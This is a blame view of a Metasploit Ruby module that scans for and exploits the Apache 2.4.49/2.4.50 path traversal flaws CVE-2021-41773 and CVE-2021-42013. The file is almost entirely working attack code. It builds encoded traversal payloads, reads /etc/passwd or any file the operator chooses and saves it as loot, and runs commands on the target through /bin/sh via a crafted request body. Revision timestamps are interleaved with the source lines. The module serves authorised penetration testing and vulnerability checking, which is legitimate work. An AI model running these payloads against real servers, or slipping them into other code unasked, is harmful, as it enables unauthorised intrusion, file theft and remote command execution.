Files
metasploit-gs/modules/auxiliary/scanner/http/apache_normalize_path.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

218 lines
6.7 KiB
Ruby
Raw Normal View History

2021-10-06 21:00:59 +04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
2021-10-08 15:22:47 +04:00
'Name' => 'Apache 2.4.49/2.4.50 Traversal RCE scanner',
2021-10-06 21:00:59 +04:00
'Description' => %q{
2021-10-22 12:38:03 -04:00
This module scans for an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773).
If files outside of the document root are not protected by 'require all denied' and CGI has been explicitly enabled,
2021-10-06 21:00:59 +04:00
it can be used to execute arbitrary commands (Remote Command Execution).
2021-10-08 15:22:47 +04:00
This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
2021-10-06 21:00:59 +04:00
},
'References' => [
['CVE', '2021-41773'],
2021-10-08 15:22:47 +04:00
['CVE', '2021-42013'],
2021-10-06 21:00:59 +04:00
['URL', 'https://httpd.apache.org/security/vulnerabilities_24.html'],
2021-10-08 15:22:47 +04:00
['URL', 'https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse'],
['URL', 'https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml'],
['URL', 'https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74'],
['URL', 'https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis']
2021-10-06 21:00:59 +04:00
],
'Author' => [
'Ash Daulton', # Vulnerability discovery
'Dhiraj Mishra', # Metasploit auxiliary module
'mekhalleh (RAMELLA Sébastien)' # Metasploit exploit module (Zeop Entreprise)
],
'DisclosureDate' => '2021-05-10',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
2021-10-07 00:04:28 +04:00
},
2021-10-08 15:22:47 +04:00
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
2021-10-07 23:36:17 +04:00
'Actions' => [
[
2021-10-10 17:01:15 +04:00
'CHECK_TRAVERSAL',
2021-10-08 15:22:47 +04:00
{
2021-10-10 17:01:15 +04:00
'Description' => 'Check for vulnerability.'
2021-10-07 23:36:17 +04:00
}
],
[
2021-10-10 17:01:15 +04:00
'CHECK_RCE',
2021-10-08 15:22:47 +04:00
{
2021-10-10 17:01:15 +04:00
'Description' => 'Check for RCE (if mod_cgi is enabled).'
}
],
[
'READ_FILE',
{
'Description' => 'Read file on the remote server.'
2021-10-07 23:36:17 +04:00
}
]
],
2021-10-10 17:01:15 +04:00
'DefaultAction' => 'CHECK_TRAVERSAL'
2021-10-06 21:00:59 +04:00
)
)
register_options([
2021-10-10 17:01:15 +04:00
OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2021-42013', ['CVE-2021-41773', 'CVE-2021-42013']]),
OptInt.new('DEPTH', [true, 'Depth for Path Traversal', 5]),
2021-10-07 23:36:17 +04:00
OptString.new('FILEPATH', [false, 'File you want to read', '/etc/passwd']),
2021-10-10 17:01:15 +04:00
OptString.new('TARGETURI', [true, 'Base path', '/cgi-bin'])
2021-10-06 21:00:59 +04:00
])
end
2021-10-07 23:36:17 +04:00
def exec_traversal(cmd)
send_request_raw({
2021-10-08 15:22:47 +04:00
'method' => Rex::Text.rand_text_alpha(3..4),
2021-10-07 23:36:17 +04:00
'uri' => normalize_uri(datastore['TARGETURI'], @traversal.to_s),
'data' => "#{Rex::Text.rand_text_alpha(1..3)}=|echo;#{cmd}"
})
end
2021-10-10 17:01:15 +04:00
def message(msg)
"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
end
def pick_payload
case datastore['CVE']
when 'CVE-2021-41773'
payload = '.%2e/'
when 'CVE-2021-42013'
payload = '.%%32%65/'
else
payload = ''
end
payload
end
2021-10-07 23:36:17 +04:00
def read_traversal
send_request_raw({
'method' => 'GET',
2021-10-08 15:22:47 +04:00
'uri' => normalize_uri(@target_uri, @traversal.to_s)
2021-10-07 23:36:17 +04:00
})
end
def run_host(ip)
2021-10-06 21:00:59 +04:00
@proto = (ssl ? 'https' : 'http')
2021-10-10 17:01:15 +04:00
case action.name
when 'CHECK_TRAVERSAL'
2021-10-21 23:00:39 +04:00
@target_uri = datastore['TARGETURI']
2021-10-10 17:01:15 +04:00
@traversal = pick_payload * datastore['DEPTH'] << '/etc/passwd'
2021-10-08 15:22:47 +04:00
2021-10-07 23:36:17 +04:00
response = read_traversal
unless response
print_error(message('No response, target seems down.'))
2021-10-06 21:00:59 +04:00
2021-10-07 23:36:17 +04:00
return Exploit::CheckCode::Unknown
end
2021-10-06 21:00:59 +04:00
2021-10-21 23:00:39 +04:00
if response.code == 200 && response.body.include?('root:x:0:0:')
print_good(message("The target is vulnerable to #{datastore['CVE']}."))
2021-10-07 23:36:17 +04:00
2021-10-21 23:00:39 +04:00
vprint_status("Obtained HTTP response code #{response.code}.")
report_vuln(
host: target_host,
name: name,
refs: references
)
2021-10-06 21:00:59 +04:00
2021-10-21 23:00:39 +04:00
return Exploit::CheckCode::Vulnerable
end
print_error(message("The target is not vulnerable to #{datastore['CVE']}."))
2021-10-06 21:00:59 +04:00
2021-10-21 23:00:39 +04:00
return Exploit::CheckCode::Safe
2021-10-10 17:01:15 +04:00
when 'CHECK_RCE'
@traversal = pick_payload * datastore['DEPTH'] << '/bin/sh'
2021-10-07 23:36:17 +04:00
rand_str = Rex::Text.rand_text_alpha(4..8)
response = exec_traversal("echo #{rand_str}")
2021-10-08 15:22:47 +04:00
unless response
print_error(message('No response, target seems down.'))
return Exploit::CheckCode::Unknown
end
2021-10-07 23:36:17 +04:00
if response.code == 200 && response.body.include?(rand_str)
2021-10-22 12:38:03 -04:00
print_good(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))
2021-10-07 23:36:17 +04:00
report_vuln(
host: target_host,
name: name,
refs: references
)
return Exploit::CheckCode::Vulnerable
end
2021-10-22 12:38:03 -04:00
print_error(message("The target is not vulnerable to #{datastore['CVE']} (requires mod_cgi to be enabled)."))
2021-10-06 21:00:59 +04:00
2021-10-07 23:36:17 +04:00
return Exploit::CheckCode::Safe
2021-10-10 17:01:15 +04:00
when 'READ_FILE'
2021-10-07 23:36:17 +04:00
fail_with(Failure::BadConfig, 'File path option is empty!') if !datastore['FILEPATH'] || datastore['FILEPATH'].empty?
2021-10-06 21:00:59 +04:00
2021-10-08 15:22:47 +04:00
@target_uri = datastore['TARGETURI']
2021-10-10 17:01:15 +04:00
@traversal = pick_payload * datastore['DEPTH'] << datastore['FILEPATH']
2021-10-07 23:36:17 +04:00
response = read_traversal
2021-10-08 15:22:47 +04:00
unless response
print_error(message('No response, target seems down.'))
2021-10-10 17:01:15 +04:00
return Exploit::CheckCode::Unknown
2021-10-08 15:22:47 +04:00
end
2021-10-10 17:01:15 +04:00
vprint_status("Obtained HTTP response code #{response.code}.")
2021-10-08 15:22:47 +04:00
if response.code == 500
2021-10-22 12:38:03 -04:00
print_warning(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))
2021-10-10 17:01:15 +04:00
report_vuln(
host: target_host,
name: name,
refs: references
)
2021-10-08 15:22:47 +04:00
end
if response.code == 500 || response.body.empty?
2021-10-07 23:36:17 +04:00
print_error('Nothing was downloaded')
2021-10-10 17:01:15 +04:00
return Exploit::CheckCode::Vulnerable if response.code == 500
2021-10-07 23:36:17 +04:00
end
2021-10-08 15:22:47 +04:00
if response.code == 200
vprint_good("#{peer} \n#{response.body}")
path = store_loot(
'apache.traversal',
'application/octet-stream',
ip,
response.body,
datastore['FILEPATH']
)
print_good("File saved in: #{path}")
2021-10-10 17:01:15 +04:00
report_vuln(
host: target_host,
name: name,
refs: references
)
return Exploit::CheckCode::Vulnerable
2021-10-08 15:22:47 +04:00
end
2021-10-10 17:01:15 +04:00
return Exploit::CheckCode::Safe
2021-10-07 23:36:17 +04:00
end
2021-10-06 21:00:59 +04:00
end
end